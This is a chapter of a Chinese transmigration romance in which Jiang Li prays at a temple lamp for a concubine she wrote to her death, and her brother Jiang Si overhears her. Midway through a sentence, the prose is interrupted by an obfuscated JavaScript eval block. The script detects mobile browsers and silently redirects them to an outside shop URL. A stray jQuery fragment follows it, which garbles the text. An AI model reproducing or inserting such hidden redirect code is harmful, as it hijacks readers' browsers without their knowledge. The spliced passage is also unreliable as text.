姜梨没有回厢房。
她沿着松林间的小径，一路往大雄宝殿的方向走。秋菱跟在她身后，怀里抱着一个蓝布包袱，里头是她临行前悄悄备下的香烛和一些素果。
“姑娘，”秋菱压低声音，小心翼翼开口询问，“咱们不回厢房歇息，究竟是要去哪？”
“先去大殿。”姜梨没有多解释。
晌午刚过，寺中热闹散去大半，来上香的香客少了许多。大殿前的青石台阶被午后的阳光晒得发暖，两侧的铜香炉里青烟袅袅，空气中浮动着檀香和桂花混合的气味。几个小沙弥正拿着扫帚清扫落叶，看见姜梨主仆二人，远远地合十行礼。
姜梨跨进大殿门槛时，眼睛花了一瞬才适应殿内的光线。大雄宝殿里比外头凉了几分，金身佛像端坐莲台，垂目俯瞰众生，面容慈悲而庄严。殿内零星几个香客正跪在蒲团上虔诚叩拜，木鱼声笃笃地响着，一下一下，敲在人心上。
姜梨没有去正中的蒲团。
她径自走向大殿西侧，那里供奉着一排排的长明灯，灯火在铜盏里静静燃烧。每一盏灯下都压着一张黄纸条，上头写着逝者的名字，墨迹或新或旧，有的已经模糊得认不清了。
姜梨的目光在那些纸条上逐一掠过，心里无端地有些发紧。
她没有见过苏姨娘。书里对这个人物的着墨少得可怜，只短短地在关于男主的身世里介绍了一句，甚至连名字都没有写到。可此刻站在这片长明灯前，她忽然意识到，那些她在键盘上随手敲下的，落到这个真实的世界里，是一个活生生的人。
“姑娘，您要找什么？”秋菱跟了过来，压低声音问。
姜梨没有回答。
她的目光停在了一盏铜灯前。
那盏灯的灯油是新添的，灯焰比旁边的都亮几分，显然是今日才被人打理过。灯台擦得干干净净，铜面上连一点烟尘都没有。压在灯下的黄纸上的字迹端正有力，一笔一划都透着认真——“灵灯永照故姨娘苏氏莲位”。
姜梨看着那行字，心里像是被什么东西轻轻攥了一下。
“秋菱，”姜梨收回目光，轻声道，“把包袱打开。”
秋菱依言打开包袱，取出香烛和一小碟桂花糕、几枚橘子。姜梨接过三炷香，借着长明灯的火苗点燃，青烟细细地升起来，在她面前打了个旋，又散在空气里。
她捧着香，走到苏姨娘的长明灯前，跪下。
蒲团有些旧了，膝盖陷进去时能感觉到底下的青砖。姜梨将香举至额前，闭上眼。
她拜了三拜，然后将香插在面前的香炉里，起身后又重新跪下，这一次跪得比方才更久一些，脊背挺得笔直，双手交叠放在膝上。
“秋菱，”她跪在那儿，头也不回地说，“你去殿外等我。”
秋菱犹豫了一下。她看了一眼自家姑娘跪在长明灯前的背影，又看了一眼那盏灯下的纸条，隐约猜到了什么，没有多问，只应了一声“是”，便轻手轻脚地退出了大殿。
大殿里安静下来。木鱼声不知什么时候停了，只剩下偶尔传来的檐角风铃的脆响，在午后沉寂的空气里悠悠荡荡。
姜梨跪在蒲团上，看着那盏长明灯的火焰微微跳动，想了很久，才开口。
“苏姨娘，”她的声音很轻，轻得几乎只有自己能听见，“我叫姜梨。”
说完这句，她就停住了。
她该说什么呢？
说我穿进了自己写的小说，你是我写出来的，把你写死了，很对不起你？还是说我在书里把你一笔带过，如今却站在你的长明灯前，不知道该用什么样的身份和你说话？
这些话，她一个字都说不出来。
“对不起。”姜梨垂下眼，声音比方才更低了些，“姨娘，今日我来看您了。长明灯已为您点上，往后夜夜不灭，黄泉路上，愿您一路安稳，不受孤寒。”她顿了顿，“还有兄长，他很好。”
可兄长也不是她的亲生子，她的亲生子也被她写死了，就是为了给男主让路。
姜梨抿了抿嘴。
都是我当初落笔太轻，只当你是书中一个无关紧要的配角，随手将你写死。可她也不知这书里的世界成了这么一个真实的世界。
“真的对不起。”姜梨又重复了一遍，这次声音比方才笃定了几分，“兄长也真的很好很好。”
话出口，她自己都觉得这话说得莫名其妙，像个小孩子跟人赌气一般。可她也不知道还能说什么。她来上香，本就是一时冲动——她来给一个死去多年的姨娘磕头，说这些七零八落的心里话，有意义吗？
有吗？
姜梨跪在那儿，沉默了许久。
香灰无声地落了一截，灰白色的粉末堆积在香炉里。大殿外隐隐传来扫地沙弥的脚步声和扫帚划过石板的簌簌声，远处还有谁的说话声，模糊得听不真切。
“以后我还会来看您的。”姜梨忽然又开口。
说完这句话，她俯下身，额头贴在蒲团上，深深地磕了一个头。
动作很轻，却磕得认真。
她跪直身子，看着长明灯里跃动的火焰，又看了一会儿，才缓缓站起身来。
膝盖跪得有些发麻，她扶了一下旁边的供桌才站稳。
香还在燃着，细细的青烟笔直地往上升。
姜梨理了理裙摆，转身。
然后她愣住了。
大殿门口，姜肆站在那里。
他不知什么时候来的，也不知站了多久。午后的阳光从他身后斜照进来，将他的轮廓勾出一道淡淡的金边，却看不清他脸上的表情。他一只手背在身后，另一只手垂在身侧，手指微微蜷着，像是在克制着什么。
“……兄长？”姜梨的声音有些慌，“你什么时候来的？”
姜肆没有说话。
他迈步走进殿内，脚步不快不慢，鞋踩在青砖地面上没有发出一点声响。他在长明灯前停住，低头看了一眼那盏被擦得干干净净的铜灯，看了一眼灯下那盘桂花糕和几只橘子，又看了一眼香炉里还在燃烧的三柱香。
然后他收回目光，看向姜梨。
“……你跪了多久？”
“没多久。”姜梨连忙摇头，“就是……就是给苏姨娘上炷香。我说过的，晌午后要来大殿一趟。”
姜肆看了她一眼，没追问。
他走到长明灯前，从袖中取出一把线香，抽出三根，在灯焰上点燃，后退一步，掀起衣摆，跪下。
他的动作很自然，像是做过无数遍。
但姜梨注意到，他握香的手，指节微微泛白。
姜肆跪在蒲团上，脊背挺直，和之前跪在那里的姜梨一模一样的姿势。他没有说话，只是举着香，闭着眼，一动不动。
殿内安静极了。
姜梨站在旁边，不知道该不该走。
可她的脚像是被钉在了原地，一步也迈不开。
过了许久，姜肆才睁开眼，俯身拜了三拜，起身将香插进香炉里。他没有立刻离开，而是站在长明灯前，伸手将灯盏边缘一处看不见的灰尘轻轻拂去了。
姜梨看在眼里，心头泛起一阵说不清的酸涩。他肯定以为苏姨娘是她生身母亲，她真的造孽太深。
“姜梨。”姜肆忽然开口。
姜梨浑身一激灵。他很少叫她的名字，寥寥几次，要么是警告，要么是拒绝，语气总是凉得能拧出水来。可这一次，他的声音虽低，却没有冷意。
“你方才说的那些话，”他看着长明灯的火焰，没有看她，“我都听见了。”
姜梨的脸瞬间涨得通红。
“我、我就是随便说说……”她慌乱地绞着衣带，声音越说越小，“不是，也不是随便说说，就是……我也不知道该说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514772|202864||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
什么，就随便说了些……”
她支支吾吾了半天，最终放弃了挣扎，自暴自弃地闭上了嘴。
姜肆偏过头，看了她一眼。
少女站在大殿昏暗的光线里，水蓝色的褙子衬得她身形单薄，耳根红得快要烧起来，一双手把衣带绞成了麻花，低着头不敢看他，像是做了什么亏心事被当场抓住。
他嘴角的弧度动了动，很浅。
“走吧。”他收回目光，率先往殿外走去。
姜梨愣了一息，随即小跑着跟上去：“兄长等等我！”
走出大殿时，午后明亮的阳光刺得两人不约而同地眯起眼。台阶上的小沙弥已经扫完了落叶，正靠在廊柱下打盹。秋菱坐在殿前的石阶上，看见姜梨出来，连忙站起来，又看见紧随其后走出来的姜肆，脸上的表情从惊讶变成了了然。
“姑娘！”秋菱迎上来，又对姜肆行礼，“大少爷。”
姜肆微微颔首，脚步没停，沿着台阶往下走。
姜梨跟在他身后，不知道该说什么，却又不想就这么沉默着。她正搜肠刮肚地找话题，却听见前面的姜肆忽然开口。
“平安符。”
“啊？”姜梨愣了一下。
“上完香，你不要去求平安符吗？”姜肆没有回头，声音淡淡的。
姜梨眨了眨眼，才反应过来他在说今日午膳后她说的话。
“那兄长陪我一起去好不好？”她顺势撒娇，语气软糯。
“还不快走。”
“好勒！”
姜梨快步追上，与他并肩漫步在松林小径。
她心里忽然涌上一个念头，还没来得及细想，嘴巴已经比脑子快了一步：“兄长，方才在大殿里，我是不是说了什么奇怪的话？”
姜肆脚步不停。
就在姜梨以为他又要用沉默回答时，他的声音从前头传过来，被山风吹得有些淡：“未曾。”
姜梨一愣，随即心头涌起一阵不知来由的欢喜。他没发现奇怪的地方。
“那，”她又追上去，声音里压不住上扬的尾音，“那兄长听到我夸你的话吗？”
姜肆停下脚步，回头看她。
阳光从松枝的缝隙间落下来，在他脸上画出明明暗暗的光影。他看着追在他身后的少女，看着她被山风吹得微微发红的脸颊和那双亮晶晶的、正等着他答案的眼睛。
忽然想起方才殿内，她对着孤灯轻声呢喃——兄长也真的很好很好。
那声音很轻很软，分明是对着灯说的，却一字一句都落在了他心上。
“听到了吗？”姜梨又问了一遍。
秋风卷着几片黄叶从两人之间穿过，远处山崖上那片红叶被午后的阳光照得艳若丹霞，普济寺的钟声忽然响了一声，沉沉的，在山谷间回荡良久。
“听到了。”他说。
姜梨愣在原地，看着他的背影渐行渐远，忽然笑了起来。
她提着裙子追上去，脚步轻快得像踩在云端。
“我的兄长天下第一好。”
话音清亮，落落大方，毫无半分遮掩。清脆声响惊起林间飞鸟，振翅四散飞去。
姜肆身形微顿，耳尖悄无声息染上一层浅红。
他素来清冷自持，在佛门清净地被小姑娘这般当众直白夸赞，心头不由一软，面上却依旧故作沉稳，垂眸看向身旁仰着小脸的少女。
他无奈轻咳一声，抬手轻轻揉了揉她的发顶，嗓音低醇温润，带着几分浅浅的纵容：“佛门圣地，这般大声胡闹，也不怕失礼。”
姜梨却半点不怕，反倒又凑近半步，理直气壮地嘟着嘴：“我说的是实话，又不是胡闹！我兄长本来就是天下第一好！”
秋菱跟在两人后面，看着自家姑娘追在大少爷身后叽叽喳喳的样子，不由得摇了摇头，自己笑了笑，也加快脚步跟了上去。